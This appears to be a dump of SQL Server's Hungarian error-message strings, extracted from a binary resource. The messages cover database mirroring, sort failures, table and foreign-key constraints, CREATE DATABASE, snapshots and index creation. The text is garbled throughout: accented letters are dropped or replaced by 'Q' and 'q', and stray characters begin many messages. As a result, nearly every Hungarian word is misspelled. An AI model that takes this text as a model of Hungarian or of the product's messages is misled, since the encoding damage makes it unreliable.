hAz adatbzis-tkrzsi szolgltats nem knyszerthetQ a(z)  %1!s!  adatbzis esetben, mert az adatbzis nincs megfelelQ llapotban ahhoz, hogy elsQdleges adatbziss vljon.

Az ALTER DATABASE parancsot nem sikerlt elkldeni a(z)  %1!s!  tvoli kiszolgli pldnyra. Az adatbzis tkrzsi konfigurcija nem vltozott. EllenQrizze, hogy kapcsoldik a kiszolgl, majd prblja meg jra a mqveletet.

A(z)  %1!s!  tkradatbzis szinkronizlsa megszakadt, az adatbzis inkonzisztens llapotban maradt. Az ALTER DATABASE parancs sikertelen volt. Biztostsa, hogy az elsQdleges adatbzis (amennyiben elrhetQ) jbl mqkdQkpes s online llapot, majd csatlakozzon jra a tkrkiszolgli pldnyhoz, s hagyja, hogy a tkradatbzis befejezze a szinkronizlst.

%2!s! hiba trtnt a(z)  %1!s!  adatbzis elsQdleges pldnynl (llapot: %3!s!, slyossg: %4!s!) a(z) %5!s! jelq lap tkrnek val elkldse sorn. A rendszer felfggesztette az adatbzis-tkrzst. Prblja megoldani a hibahelyzetet, majd folytassa a tkrzst.

DHiba trtnt az adatbzis tkrzsi metaadatainak elrsekor. Szntesse meg a tkrzst (ALTER DATABASE database_name SET PARTNER OFF), s konfigurlja jra.

hA(z)  %1!s!  adatbzis mr konfigurlva van a tvoli kiszolgln az adatbzis-tkrzsre. j partner ltrehozshoz szntesse meg a tvoli kiszolgln az adatbzis-tkrzst.

Az adatbzis-tkrzs egy sikertelen ismtlsi mqvelet miatt le van tiltva. A folytats nem lehetsges.

Az adatbzis-tkrzs nem rhetQ el a jelen SQL Server-pldny kiadsban. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

A(z)  %1!s!  adatbzis nincs helyrelltsi llapotban, ami pedig szksges lenne egy tkradatbzis vagy msodlagos adatbzis esetn. A tvoli adatbzist a WITH NORECOVERY parancs hasznlatval kell visszalltani.

A(z)  %1!s!  adatbzis nincs teljes krq helyrelltsi mdban mindegyik kiszolglpldnyon. A teljes krq helyrelltsi modell szksges ahhoz, hogy egy adatbzis rszt vegyen az adatbzis-tkrzsben vagy egy rendelkezsre llsi csoportban.

A(z)  %1!s!  adatbzis az egyik kiszolglpldnyon csak olvashat, ami nem kompatibilis az adatbzis-tkrzsben vagy egy rendelkezsre llsi csoportban val rszvtellel. lltsa rhat-olvashat mdba az adatbzist, majd prblja megismtelni a mqveletet.

A(z)  %1!s!  adatbzis az egyik partneren vszhelyzeti mdban vagy gyans llapotban van, ami nem kompatibilis az adatbzis-tkrzsben vagy egy rendelkezsre llsi csoportban val rszvtellel.

DA mqvelet nem hajthat vgre a(z)  %1!s!  adatbzison, mert az adatbzis-tkrzsi munkamenetben vagy rendelkezsre llsi csoportban szerepel. Egyes mqveletek nem engedlyezettek olyan adatbzison, amely adatbzis-tkrzsi munkamenetben vagy rendelkezsre llsi csoportban szerepel.

pA(z)  %1!s!  adatbzis automatikus bezrs adatbzis az egyik partneren, ami nem kompatibilis az adatbzis-tkrzsben vagy egy rendelkezsre llsi csoportban val rszvtellel.

,A partner konfigurcis rtkeire vonatkoz adatbzis-vltoztats csak a(z)  %1!s!  adatbzis jelenlegi elsQdleges kiszolgljn kezdemnyezhetQ.

Az adatbzis tkrzsi kapcsolata megszqnt. Kevs a memria a(z)  %1!s!  adatbzisnak szl zenet kldsekor.

Az adatbzis tkrzsi kapcsolata megszqnt. Kommunikcis hiba trtnt a(z)  %1!s!  adatbzisnak szl zenet kldsekor.

Az SQL Server rendszer jelen kiadsa nem teszi lehetQv a biztonsgi szint megvltoztatst. Az ALTER DATABASE parancs sikertelen volt.

Az adatbzis-tkrzsi kapcsolat hibja  %2!s!  %1!s! esetn a kvetkezQhz:  %3!s! .

pA(z)  %1!s!  adatbzis olyan tmegesen naplzott vltozsokat tartalmazhat, amelyekrQl mg nem kszlt biztonsgi msolat. Ksztsen napl-biztonsgimsolatot a fQadatbzison vagy az elsQdleges adatbzison. Ezt kvetQen lltsa vissza ezt a biztonsgi msolatot a tkradatbzison az adatbzis-tkrzs engedlyezshez, illetve mindegyik msodlagos adatbzison, hogy csatlakoztathassa az adatbzist a rendelkezsre llsi csoporthoz.

Az adatbzis-tkrzs idQtllpsi rtke (%1!s!) meghaladja a maximlis rtket (32767).

Az adatbzis-tkrzs biztonsgi szintjt FULL rtkre kell belltani ahhoz, hogy a(z)  %1!s!  manulis feladattvtele vgrehajthat legyen. lltsa a biztonsgi szintet a FULL rtkre, s prblja meg jra.

A(z)  %1!s!  tkradatbzis tranzakcinapljnak adatai elgtelenek ahhoz, hogy az elsQdleges adatbzis naplnak biztonsgimsolat-ksztsi lncolata fenntarthat legyen. Ez olyan esetben fordulhat elQ, amikor az elsQdleges adatbzis napljnak biztonsgi msolatt nem vette t vagy nem lltotta helyre a tkradatbzis.

A(z)  %1!s!  tkrzsi kapcsolata a(z)  %2!s!  adatbzisra vonatkozan idQtllpssel megszqnt a vlasz nlkl eltelt %3!s! msodperc utn. EllenQrizze a szolgltatst s a hlzati kapcsolatokat.

A(z)  %1!s!  adatbzis egyfelhasznls mdban van, ami nem kompatibilis az adatbzis-tkrzsben vagy egy rendelkezsre llsi csoportban val rszvtellel. lltsa tbbfelhasznls mdba az adatbzist, majd prblja megismtelni a mqveletet.

,A(z)  %1!s!  adatbzis tvoli pldnya nem lett visszalltva olyan napl-biztonsgimsolatba, amely az sszes filestream-adatfjlt tartalmazza.

Adatbzis-tkrzsi hiba (llapot: %1!s!, slyossg: %2!s!, llapot: %3!s!, karakterlnc: %4!s!).

Rendezsi hiba. Forduljon a technikai tmogatsi szolglathoz.

LA CREATE UNIQUE INDEX utasts lellt, mert a(z)  %1!s!  objektumnv s a(z)  %2!s!  indexnv esetben ismtlQdQ kulcs tallhat. Az ismtlQdQ kulcsrtk %3!s!.

A rendezs sorn a sorok sszehasonltsa az egyik kulcsoszlopban tallhat ismeretlen adattpus miatt sikertelen volt. ElQfordulhat, hogy srltek a metaadatok. Forduljon a technikai tmogatsi szolglathoz.

A rendezs sikertelen. A(z)  %1!s!  adatbzisban nincs elg hely vagy elegendQ zrols.

xA rendezs nem egyeztethetQ ssze a tranzakcinaplval.

A rendezsi mqvelet indexltrehozs kzben lellt. A rendezs lellsa megakadlyozta a(z)  %1!s!  adatbzis foglalsi lapjnak fellrst. A DBCC CHECKDB utasts futtatsval ellenQrizze a foglalst, s hogy nincsenek-e konzisztenciahibk. ElQfordulhat, hogy helyre kell lltani az adatbzist egy biztonsgi msolatbl.

Rendezsi hiba. A helytelen egysgfoglalst nem sikerlt visszavonni. Forduljon a technikai tmogatsi szolglathoz.

A(z) %1!s! jelq lapon kezdQdQ j rendezs megosztottknt nem jellt egysget tallt. Prblja meg jra a tranzakcit. Ha a problma tartsan fennll, forduljon a technikai tmogatsi szolglathoz.

A(z) %1!s! egysg nem oszthat meg. Nem sikerlt azonostani a helyes egysgeket. Prblja meg jra a tranzakcit.

pA megosztott egysgek knyvtrban nem tallhat a(z) %1!s! egysg. Prblja meg jra a tranzakcit. Ha a problma tartsan fennll, forduljon a technikai tmogatsi szolglathoz.

A(z) %1!s! egysg nem oszthat meg. A megosztott egysgek knyvtra megtelt. Prblja meg jra a tranzakcit. Ha a problma tartsan fennll, forduljon a technikai tmogatsi szolglathoz.

Nem sorbeviteli fzisban lvQ rendezs nem fggeszthetQ fel.

Nem sorbeviteli fzisban lvQ rendezsbe nem lehet sort beszrni.

H%1!s! mretq sor nem rendezhetQ, ez meghaladja a megengedett maximumot (%2!s!). rdemes lehet a lekrdezst a ROBUST PLAN mutat hasznlatval jra elkldeni.

Rendezsi hiba. Valsznqleg hibs egy CLR tpus sszehasonlt fggvny.

A(z)  %1!s!  tbla ltrehozsa vagy mdostsa sikertelen, mert a minimlis sormret %2!s! lenne, valamint %3!s! bjt lenne a belsQ rfordts. Ez meghaladja a tbla sormreteknt maximlisan megengedett %4!s! bjtot.

A CREATE TABLE mqvelet sikertelen volt, mert a(z)  %2!s!  tbla  %1!s!  sora meghaladja a maximlis %3!s! oszlopszmot.

A(z)  %1!s!  rendszertbla csak frissts sorn hozhat ltre, illetve mdosthat.

TEXTIMAGE_ON fjlcsoport particionlt tblra vonatkozan nem adhat meg.

xA TEXTIMAGE_ON lehetQsg nem hasznlhat, ha egy tblban nem szerepel text, ntext, image, varchar(max), nvarchar(max), nem FILESTREAM varbinary(max), xml vagy nagy CLR tpus oszlop.

0A(z)  %2!s!  tbla  %1!s!  oszlopn nem definilhat PRIMARY KEY megkts. A szmtott oszlopnak megQrzttnek kell lennie, s nem lehet nullzhat.

Az SQL Server rendszer Enterprise kiadsban csak online indexmqveleteket lehet vgrehajtani.

A(z) %1!s! nem hajthat vgre a(z)  %2!s!  tbln, illetve a tbla hasznlatval, mert a tbla a cloldali tbla, vagy pedig egy jelenleg vgrehajts alatt ll esemnyindt kaszkdolt mqveleteiben szerepel.

A tblzat mdostsa sikertelen, mert a(z)  %1!s!  tblra vonatkozan elfogytak az egyni oszlopazonostk.

DSikertelen a(z)  %1!s!  klsQ kulcs ltrehozsa. A(z)  %2!s!  szmtott oszlopra val hivatkozsnl csak NO ACTION hivatkoz frisstsi mqvelet megengedett.

|FILESTREAM_ON zradk nem adhat meg, ha a tblhoz nem tartozik FILESTREAM oszlop. Tvoltsa el a FILESTREAM_ON zradkot az utastsbl, vagy vegyen fel a tblba FILESTREAM oszlopot.

FILESTREAM_ON zradk nem adhat meg partcismval egyttesen az ON zradkban.

A(z)  %1!s!  adatbzison engedlyezni kell a vltozsok kvetst, csak ezt kvetQen engedlyezhetQ a(z)  %2!s!  tbln.

tFILESTREAM adatok nem helyezhetQk res fjlcsoportba.

A FILESTREAM fjlcsoport vagy partcisma nem dobhat el, mert a(z)  %1!s!  tblhoz FILESTREAM oszlopok tartoznak.

LA(z)  %1!s!  tbla mdostsa sikertelen, mert a vardecimal trolsi formtumot hasznl sor mrete meghaladja a tblasorokhoz megengedett maximum %2!s! bjtot.

Nem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  %2!s! esetn, mert nincs megadva partcisma a FILESTREAM-adatokhoz.

 Nem vgezhetQ el %1!s! mqvelet a(z)  %3!s!  %2!s! esetn, mert meg van adva partcisma a FILESTREAM-adatokhoz, a tblhoz azonban nincs.

A kvetkezQ fjlcsoport nem FILESTREAM-fjlcsoport vagy FILESTREAM-fjlcsoportok partcis smja:  %1!s! .

Nem vehetQ fel FILESTREAM-oszlop a kvetkezQbe:  %2!s!  %1!s!. Mr ltezik INSTEAD OF esemnyindt a kvetkezQhz: %3!s!.

4Nem vehetQ fel FILESTREAM-fjlcsoport vagy -partcisma, mert a kvetkezQ tblhoz mr tartozik FILESTREAM-fjlcsoport vagy -partcisma:  %1!s! .

A(z)  %2!s!  tbln nem hozhat ltre a nem frtztt  %1!s!  index a FILESTREAM_ON zradkkal.

A(z)  %2!s!  tbln a(z)  %1!s!  index ltrehozsa sikertelen volt, mert a(z) %3!s! szmtott oszlop FILESTREAM oszlopot hasznl.

A(z)  %1!s!  tbla nem hozhat ltre, mert a(z)  %2!s!  particionlsi oszlop FILESTREAM oszlopot hasznl.

A(z)  %1!s!  tmrtett tbla ltrehozsa vagy mdostsa sikertelen, mert a tmrtetlen sormret %2!s! lenne, valamint %3!s! bjt lenne a belsQ rfordts. Ez meghaladja a tbla sormreteknt maximlisan megengedett %4!s! bjtot.

A(z)  %2!s!  tblban nem hozhat ltre a(z)  %1!s!  ritka oszlop, mert rvnytelen egy megadott paramter vagy adattpus. A ritka oszlopnak nullzhatnak kell lennie, s nem tartozhat hozz a ROWGUIDCOL, IDENTITY vagy FILESTREAM tulajdonsg. A ritka oszlop nem lehet a kvetkezQ adattpushoz tartoz: text, ntext, image, geometry, geography vagy felhasznl ltal definilt tpus.

A(z)  %2!s!  tblban nem hozhat ltre a(z)  %1!s!  ritka oszlopkszlet, mert egy tblhoz nem tartozhat egynl tbb ritka oszlopkszlet. Mdostsa gy az utastst, hogy csak egy oszlopra vonatkozan legyen megadva a COLUMN_SET FOR ALL_SPARSE_COLUMNS parancs.

A(z)  %2!s!  tblban nem hozhat ltre a(z)  %1!s!  ritka oszlop, mert a ritka oszlopkszletnek nullzhat xml oszlopnak kell lennie. Mdostsa gy az oszlopdefincit, hogy lehetQv tegye a null rtkeket.

A(z)  %2!s!  tblban nem hozhat ltre a(z)  %1!s!  ritka oszlopkszlet, mert a tbla mr tartalmaz egy vagy tbb ritka oszlopkszletet. A tblhoz nem adhat hozz ritka oszlopkszlet, ha a tbla mr tartalmaz ritka oszlopot.

A(z)  %2!s!  tbla  %1!s!  oszlopra nem lehet hivatkozni CHECK megktsben vagy szmtott oszlop defincijban, mert az oszlop ritka oszlopkszlet. A ritka oszlopkszletekre CHECK megktsben vagy szmtott oszlop defincijban nem lehet hivatkozni.

A(z)  %2!s!  tbla  %1!s!  oszlopa alaprtelmezett megkts ltrehozsa szempontjbl rvnytelen.

A(z)  %1!s!.%2!s!  oszlop hossza vagy sklja nem egyezik meg a hivatkoz, a(z)  %5!s!  klsQ kulcsban tallhat  %3!s!.%4!s!  oszlopval. A klsQ kulcskapcsolatban rszt vevQ oszlopokat ugyanazzal a hosszsggal s sklval kell definilni.

IDENTITY attribtummal rendelkezQ oszlopokon nem hozhatk ltre alaprtelmezsek. Tbla:  %1!s! , oszlop:  %2!s! .

A timestamp adattpus oszlopokon nem hozhatk ltre alaprtelmezsek. Tbla:  %1!s! , oszlop:  %2!s! .

A(z)  %1!s!.%2!s!  oszlop rendezse nem egyezik meg a hivatkoz, a(z)  %5!s!  klsQ kulcsban tallhat  %3!s!.%4!s!  oszlopval.

Csak egy megkts vehetQ fel vagy llthat online llapotba, s ugyanabban az utastsban nem lehet msik mqvelet.

A(z)  %2!s!  tbla  %1!s!  szmtott oszlopa nem hasznlhat msik szmtott oszlop defincijban.

A(z) %1!s! tpus megktseket nem lehet %2!s! tpus oszlopokon ltrehozni.

A(z)  %1!s!  klsQ kulcs nem hozhat ltre a SET NULL hivatkozsi mqvelettel, mert egy vagy tbb hivatkoz oszlop nem nullzhat.

hA(z)  %1!s!  klsQ kulcs nem hozhat ltre a SET DEFAULT hivatkozsi mqvelettel, mert egy vagy tbb hivatkoz, nem nullzhat oszlophoz nem tartozik alaprtelmezett megkts.

Az adatbzisok kztti klsQkulcs-hivatkozsok nem tmogatottak. KlsQ kulcs:  %1!s! .

A(z)  %2!s!  tblban tallhat  %1!s!  szmtott oszlop hasznlata a(z)  %3!s!  esetben rvnytelen, mert nincs megQrizve.

TSikertelen a(z)  %1!s!  klsQ kulcs ltrehozsa. A(z)  %2!s!  szmtott oszlopra val hivatkozsnl csak NO ACTION s CASCADE hivatkoz trlsi mqvelet megengedett.

Az ideiglenes tblkra mutat klsQkulcs-hivatkozsok nem tmogatottak. KlsQ kulcs:  %1!s! .

A(z)  %1!s!  klsQ kulcs rvnytelen tblra ( %2!s! ) hivatkozik.

A(z)  %1!s!  klsQ kulcs a(z)  %2!s!  objektumra hivatkozik, amely nem felhasznli tbla.

A(z)  %1!s!  klsQ kulcs rvnytelen oszlopra ( %2!s! ) hivatkozik a(z)  %3!s!  hivatkoz tblban.

A(z)  %1!s!  klsQ kulcs rvnytelen oszlopra ( %2!s! ) hivatkozik a(z)  %3!s!  hivatkozott tblban.

A(z)  %1!s!  klsQ kulcs nem hozhat ltre, mert a(z) ( %2!s! ) objektumra hivatkozik, amelynek frtztt indexe ( %3!s! ) le van tiltva.

A(z)  %1!s!  klsQ kulcs rvnytelen. KlsQ kulcs defincijban nem hasznlhat rendszer tbla.

$A(z)  %1!s!  klsQ kulcshoz a(z)  %2!s!  objektumra mutat implicit hivatkozs tartozik, s az objektumon nincs definilva elsQdleges kulcs.

4A(z)  %1!s!  klsQ kulcsra hivatkoz oszloplistn szereplQ oszlopok szma nem egyezik a hivatkozott  %2!s!  tbla elsQdleges kulcsban szereplQkvel.

$A(z)  %1!s!  klsQ kulcs nem hozhat ltre, mert a(z) ( %2!s! ) objektumra hivatkozik, amelynl a PRIMARY KEY index ( %3!s! ) le van tiltva.

,A hivatkozott  %1!s!  tblban nem szerepel olyan elsQdleges vagy keressi kulcs, amely egyezne a(z)  %2!s!  klsQ kulcs hivatkozsi listjval.

A(z)  %1!s!.%2!s!  oszlop adattpusa nem egyezik meg a hivatkoz, a(z)  %5!s!  klsQ kulcsban tallhat  %3!s!.%4!s!  oszlopval.

A(z)  %1!s!  tblhoz mr van definilva elsQdleges kulcs.

`A(z) oszlophoz mr van ktve DEFAULT rtk.

A kvetkezQ index nem dobhat el, mert nincs megadva partcisma az alapadatokhoz:  %1!s! .

A(z)  %1!s!  klsQ kulcs nem hozhat ltre, mert a hivatkozott  %2!s!.%3!s!  oszlop nem megQrztt szmtott oszlop.

A(z)  %1!s!  FOREIGN KEY megkts bevezetse a(z)  %2!s!  tbln ciklusokat vagy tbbszrs kaszkdolsi tvonalakat eredmnyezhet. Adjon meg ON DELETE NO ACTION vagy ON UPDATE NO ACTION belltst, vagy mdostsa az egyb FOREIGN KEY megktseket.

A(z)  %5!s!  klsQ kulcsban tallhat  %1!s!.%2!s!  oszlop vagy a hivatkoz  %3!s!.%4!s!  oszlop timestamp tpus oszlop. Ez az adattpus nem hasznlhat kaszkdolt hivatkozsintegritsi megktsekkel.

A(z)  %2!s!  tbln a kaszkdolt DELETE vagy UPDATE mqveletekkel nem definilhat a(z)  %1!s!  klsQkulcs-megkts, mert a tbln INSTEAD OF DELETE vagy UPDATE TRIGGER mqvelet van definilva.

A(z)  %1!s!  kaszkdolt klsQ kulcs nem hozhat ltre, ahol a hivatkoz oszlop ( %2!s!.%3!s! ) identitsoszlop.

A CHECKSUM(*) fggvny szmtott oszlop, megkts vagy alaprtelmezs defincijban nem hasznlhat.

A felhasznl ltal definilt tblatpus neve nem kezdQdhet # karakterrel.

A(z)  %2!s!  tblban nem hozhat ltre a(z)  %1!s!  oszlopon DEFAULT megkts, mert az oszlop vagy ritka oszlop, vagy ritka oszlopkszlet. A ritka oszlopokhoz vagy ritka oszlopkszletekhez nem tartozhat DEFAULT megkts.

xA(z)  %1!s!  tbla mdostsa sikertelen volt, mert a hozzadott rgztett oszlop hatsra a meglvQ adatok tllphetik a tbla sorainak mrethez megengedett maximlis %2!s! bjtot.

xEgy ideiglenes tbla nem vonhat ssze msik tblval.

A(z)  %1!s!  oszlop rvnytelen a kvetkezQ tbla sszevonshoz:  %2!s! .

A(z)  %1!s!  nullzhat oszlop nem hasznlhat a kvetkezQ tbla sszevonshoz:  %2!s! .

A(z)  %1!s!  szmtott oszlop nem hasznlhat a kvetkezQ tbla sszevonshoz:  %2!s! .

A(z)  %1!s!  ritka oszlop nem hasznlhat a kvetkezQ tbla sszevonshoz:  %2!s! .

Nem hozhatk ltre sszevont tblk egy nem sszevont adatbzisban.

A(z)  %1!s!  oszlop nem hasznlhat a kvetkezQ tbla sszevonshoz, mert a tpusa nem egyezik az sszevonsi kulcs tpusval:  %2!s! .

A(z)  %1!s!  adatbzis mr ltezik. Vlasszon msik adatbzisnevet.

A CREATE DATABASE utasts vgrehajtsa sikertelen volt. Egyes fjlneveket nem sikerlt ltrehozni. EllenQrizze a kapcsold hibkat.

XA CREATE DATABASE utasts vgrehajtsa sikertelen volt. Az elsQdleges fjlnak a mintaadatbzis egy pldnynak befogadshoz legalbb %1!s! MB mretqnek kell lennie.

 A CREATE DATABASE utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  adatbzis alaprtelmezett rendezse nem llthat be  %2!s!  rtkre.

Nem sikerlt kizrlagos zrolst elrni a(z)  %1!s!  adatbzison. KsQbb prblja jbl elvgezni a mqveletet.

A mintaadatbzisnak frissthetQnek kell lennie, j adatbzist csak ezt kvetQen lehet ltrehozni.

A CREATE DATABASE utasts vgrehajtsa sikertelen volt. A COLLATE zradk nem hasznlhat a FOR ATTACH kapcsolval.

Nem sikerlt megnyitni az j  %1!s!  adatbzist. A CREATE DATABASE utasts vgrehajtsa megszakadt.

A(z) %1!s! tulajdonsg nem hasznlhat adatbzis-pillanatkpek fjljaival.

A(z) %1!s! rendszeradatbzison nem megengedett az adatbzis-pillanatkpek hasznlata.

Csak a(z)  %1!s!  adatbzis tulajdonosa vagy a rendszergazda hozhat ltre az adatbzisrl pillanatkpet.

Hinyzik az elsQdleges  %1!s!  naplfjl, s az adatbzis nem megfelelQen volt bezrva, gy nem hozhat ltre jra.

Adatbzis-pillanatkp nem hozhat ltre egy msik adatbzis-pillanatkpen.

Az adatbzisnak online llapotnak kell lennie ahhoz, hogy adatbzis-pillanatkp kszlhessen rla.

Nem hozhat ltre adatbzis-pillanatkp, mert nem indult el.

pHelyrellts alatt ll adatbzis nem csatolhat.

Az adatbzis-pillanatkpekhez nem adhatk meg fjlcsoportok s rendezsek.

A felhasznl ltal definilt fjlcsoportok nem megengedettek a kvetkezQn:  %1!s! .

A CREATE DATABASE vagy az ALTER DATABASE utasts vgrehajtsa sikertelen volt, mert a ltrejvQ kumulatv adatbzis mrete meghaladn a licencben engedlyezett %1!s! MB/%2!s! mretkorltot.

A(z)  %1!s!  logikai fjlnv mr hasznlatban van. Vlasszon msik nevet.

A FOR ATTACH paramterhez legalbb az elsQdleges fjlnak meg kell lennie adva.

A(z)  %1!s!  s a(z)  %2!s!  fjlok egyarnt elsQdleges fjlok. Egy adatbzishoz csak egyetlen elsQdleges fjl tartozhat.

Az ONLINE/OFFLINE fjlszintaxis nem hasznlhat a CREATE DATABASE mqvelethez.

A(z)  %1!s!  fjl nem csatolhat a(z)  %2!s! .%3!s! adatbzisknt.

A(z)  %1!s!  fjl a kvetkezQ BACKUP LOG mqvelet utnig nem hasznlhat fel jra. Ha az adatbzis rszt vesz egy rendelkezsre llsi csoportban, akkor egy eldobott fjl csak azt kvetQen hasznlhat fel jra, hogy az elsQdleges rendelkezsre llsi msodpldny csonkolsi naplsorszma meghaladta a fjl eldobsi naplsorszmt, s vgrehajtottak egy kvetkezQ BACKUP LOG mqveletet.

A(z)  %1!s!  fjlt nem lehet fellrni. Jelenleg a(z) %2!s!  adatbzis hasznlja.

Nem lehet j adatbzist ltrehozni/csatolni, mert a meglvQ adatbzisok szma elrte a megengedett maximumot: %1!s!.

A(z)  %1!s!  fjl nv tl hossz msodlagos adatfolyamnv ltrehozshoz.

Nem sikerlt alaprtelmezett adatfjlokat ltrehozni, mert a(z)  %1!s!  nv fenntartott eszkznv.

Nem sikerlt pillanatkp-adatbzist ltrehozni, mert a mqvelet READONLY jellsq egyfjlos felhasznli adatbzisokon nem tmogatott.

A CREATE DATABASE utasts vgrehajtsa sikertelen volt. A CONTAINMENT zradk nem hasznlhat a FOR ATTACH kapcsolval.

xA fjlmret, a maximlis mret nem haladhatja meg a 2147483647 egysget lapmret szerint. A fjl nvekedse nem haladhatja meg a 2147483647 egysget lapmret szerint s szzalkosan.

hA(z) %1!s! nem tmogatott a kvetkezQn: %2!s!.

Nem tallhat a SQL Ktet rnykmsolata szolgltats (VSS) rja a VSS ltal biztostott ri metaadat-dokumentumban az automatikusan helyrelltott VSS-pillanatfelvtel online DBCC-ellenQrzs cljbl val ltrehozsakor.

Nem tallhat a(z)  %1!s!  adatbzis SQL Ktet rnykmsolata (VSS) r sszetevQje az automatikusan helyrelltott VSS-pillanatfelvtel online DBCC-ellenQrzs cljbl val ltrehozsakor.

$Az opercis rendszer jelenlegi verzija nem tmogatja az automatikusan helyrelltott Ktet rnykmsolata (VSS) pillanatkpek hasznlatt.

\A Ktet rnykmsolata szolgltatsnak (VSS) nem sikerlt online DBCC-ellenQrzs cljbl ltrehoznia a(z)  %1!s!  adatbzis automatikusan helyrelltott pillanatkpt.

A(z)  %1!s!  fjlnv tl hossz relatv elrsi tknt, miutn hozzfqzik az alaprtelmezett  %2!s!  elrsi utat elQtagknt.

Hiba trtnt a fizikai fjl sszezsugortsa sorn. Tovbbi rszletek az ERRORLOG hibanaplban olvashatk.

A kvetkezQ logikai adatbzisfjl nem tallhat:  %1!s! . Adja meg a fjl teljes elrsi tjt.

LA(z)  %2!s!  logikai adatbzisfjl eredeti  %1!s!  fjlneve tl hossz ahhoz, hogy sszefqzhetQ legyen az j elsQdleges adatfjl helynek teljes elrsi tjval.

LA sysfiles1 rendszertbla srlt.

A(z)  %1!s!  fjl nem csatolhat  %2!s!  adatbzisknt, mert ez az adatbzisnv mr csatolva van a kvetkezQ fjlon keresztl:  %3!s! .

A(z)  %1!s!  fjl nem csatolhat  %2!s!  adatbzisknt, mert ez a fjl mr hasznlatban van a kvetkezQ adatbzishoz:  %3!s! .

Az adatbzis pillanatkpnek ltrehozsa sikertelen volt, mert a felhasznli adatbzis mg mindig helyrellts alatt ll.

A(z)  %2!s!  nzeten nem lehet ltrehozni a(z)  %1!s!  indexet vagy statisztikt, mert a(z)  %3!s!  oszlop pontatlan, szmtott s nem megQrztt. Fontolja meg a nzet indexben vagy a statisztikai kulcsban az oszlopra mutat hivatkozs eltvoltst vagy az oszlop pontos tpusra val mdostst. Ha az oszlop alaptblban szmtott, fontolja meg, hogy ott PERSISTED jellegqv teszi.

4Nem hozhat ltre egynl tbb frtztt index a kvetkezQn:  %2!s!  %1!s!. jabb frtztt index ltrehozsa elQtt dobja el a ltezQ  %3!s!  indexet.

$A(z)  %3!s!  tblban a(z)  %2!s!  %1!s! %4!s! oszlopot tartalmaz a kulcslistn. Egy %5!s! kulcs oszloplistjnak maximlis elemszma %6!s!.

Nem lehet jra ltrehozni a(z)  %1!s!  indexet. Az j indexdefinci nem egyezik a meglvQ index ltal knyszertett megktssel.

A(z)  %1!s!  oszlop a(z)  %2!s!  particionl oszlopa. Az egyedi indexek partcioszlopainak az indexkulcs rszhalmaznak kell lennik.

A(z) %1!s! nem teszi lehetQv ismtlQdQ oszlopnevek hasznlatt. A(z)  %2!s!  oszlopnv egynl tbbszr szerepel.

A(z)  %2!s!  %1!s! nem hozhat ltre, mert tllpi a tblnknt vagy nzetenknt engedlyezett maximumot (%3!s!).

A(z)  %1!s!  oszlopnv nem ltezik a cloldali tblban vagy nzetben.

dEgy msik, az objektumon mr folyamatban levQ egyidejq mqvelet miatt a DDL-indexelsi mqvelet nem folytathat a kvetkezQn:  %2!s!  %1!s!. A prhuzamos mqvelet lehet ugyanazon az objektumon foly online indexelsi mqvelet vagy az indexlapokat thelyezQ ms egyidejq mqvelet, pldul a DBCC SHRINKFILE.

A mqvelet vgrehajtsa sikertelen volt, mert mr ltezik  %1!s!  nevq index vagy statisztika a kvetkezQn:  %3!s!  %2!s!.

A(z)  %1!s!  objektumon nem hozhat ltre az index, mert az objektum nem felhasznli tbla vagy nzet.

Nem egyedi index nem mdosthat az ignore_dup_key indexelsi paramterrel. A(z)  %1!s!  index nem egyedi.

A CREATE INDEX mqvelet %1!s! s %2!s! paramterei kizrjk egymst.

<Helyi ideiglenes tbln nem lehet indexet online ltrehozni, jra ltrehozni vagy eldobni. Vgezze kapcsolat nlkli llapotban az indexelsi mqveletet.

A(z)  %2!s!  tbla  %1!s!  oszlopa index kulcsoszlopaknt trtnQ felhasznlshoz rvnytelen tpus.

TA megadott  %2!s!  %1!s! rvnytelen.

A(z)  %1!s!  fjlcsoporthoz nincsenek fjlok hozzrendelve. Ebben a fjlcsoportban nem hozhatk ltre tblk, indexek s nagymretq objektumok oszlopai. Az ALTER DATABASE paranccsal vehet fel a fjlcsoportba egy vagy tbb fjlt.

\A(z)  %1!s!  fjlcsoport csak olvashat.

Frtztt index nem alakthat nem frtztt indexsz a DROP_EXISTING kapcsol hasznlatval. Az index frtztt tpusrl nem frtztt tpusra val mdostshoz kt kln utastssal trlje a frtztt indexet, s aztn hozzon ltre nem frtztt indexet.

xA(z)  %1!s!  tblhoz mr van  %2!s!  nevq statisztika.

A(z)  %1!s!  objektumon nem hozhat ltre statisztika, mert az objektum nem felhasznli tbla vagy nzet.

A nem frtztt index nem alakthat t frtztt indexsz, mert egy klsQ kulcsmegkts hivatkozik az indexre. Tvoltsa el a klsQ kulcsmegktst, majd prblja jbl elvgezni a mqveletet. 

dAz SQL-utasts nem hajthat vgre, mert a(z)  %1!s!  fjlcsoport kapcsolat nlkli llapot. A sys.database_files vagy sys.master_files katalgusnzet hasznlatval llaptsa meg a fjlcsoportban tallhat fjlok llapott, majd lltsa vissza a kapcsolat nlkli fjl(oka)t a biztonsgi msolatbl.

A(z) %1!s! sikertelen, mert a kvetkezQ SET paramterekhez helytelen belltsok vannak megadva:  %2!s! . EllenQrizze, hogy a SET paramterek helyesek a kvetkezQvel val hasznlathoz: %3!s!.

Az index nem hozhat ltre. A(z)  %1!s!  objektum a kvetkezQ SET paramterek nlkl volt ltrehozva:  %2!s! .

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert egy msik nzetre ( %3!s! ) hivatkozik. Fontolja meg a hivatkozott nzet defincijnak kzzel trtnQ kiterjesztst az indexelt nzet defincijban.

A(z) %1!s!  nzeten nem hozhat ltre az index, mert a mgttes  %2!s!  objektumnak ms a tulajdonosa.

A(z) %1!s! nem hozhat ltre a(z)  %2!s!  nzeten, mert a nzet nem smhoz kttt.

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. Nem tartozik hozz egyedi frtztt index.

lA(z)  %1!s!  nzeten nem hozhat ltre nem egyedi frtztt index, mert csak az egyedi frtztt indexek megengedettek. Fontolja meg inkbb egyedi frtztt index ltrehozst.

A(z) %1!s! nem hozhat ltre a(z) %2!s! nzeten. Szveg, ntext, kp, FILESTREAM vagy xml tpus oszlopokat tartalmaz.

A(z)  %2!s!  tbla  %1!s!  indexe nem rendezhetQ jra, mert le van tiltva a lapszintq zrols.

